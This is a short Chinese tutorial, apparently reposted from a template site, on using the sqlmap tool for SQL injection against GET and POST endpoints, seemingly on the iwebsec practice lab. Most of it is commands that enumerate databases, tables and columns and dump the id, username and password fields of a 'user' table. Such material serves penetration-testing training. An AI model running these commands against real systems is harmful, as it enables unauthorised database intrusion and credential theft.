1.打开sqlmap
2.使用
(1)get注入
python sqlmap.py -u "指定注入点的URL"
#其中“-u”参数用于指定注入点的URL。
python sqlmap.py -u "指定注入点的URL" --dbs
#，其中参数“--dbs”用于列举数据库。
python sqlmap.py -u "指定注入点的URL" -D iwebsec --tables
#其中参数“-D”用于指定数据库名称，“--tables”参数用于列举表。
python sqlmap.py -u "指定注入点的URL" -D iwebsec -T user --columns
#其中参数“-T”用于指定表名称，“--columns”参数用于指定列出表中字段。
python sqlmap.py -u "指定注入点的URL" -D iwebsec -T user -C id,password,username --dump
#其中参数“-C”用于指定字段名称，参数“--dump”用于导出数据
-----------------------------------------------------
(2)post注入
（注：此时将数据包存在了桌面上命名为123.txt)
python sqlmap.py -r C:\Users\caicq\Desktop\123.txt
#其中“-r”参数用于指定注入点的导出流量包的绝对路经文件
python sqlmap.py -r C:\Users\caicq\Desktop\123.txt --dbs
#，其中参数“--dbs”用于列举数据库。
python sqlmap.py -r 123.txt -D iwebsec --tables
#其中参数“-D”用于指定数据库名称，“--tables”参数用于列举表。
python sqlmap.py -r 123.txt -D iwebsec -T user --columns
#其中参数“-T”用于指定表名称，“--columns”参数用于指定列出表中字段。
python sqlmap.py -r 123.txt -D iwebsec -T user -C id,password,username --dump文章来源：https://www.toymoban.com/news/detail-616022.html
#其中参数“-C”用于指定字段名称，参数“—dump”用于导出数据文章来源地址https://www.toymoban.com/news/detail-616022.html
到了这里，关于 sql注入之sqlmap使用的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
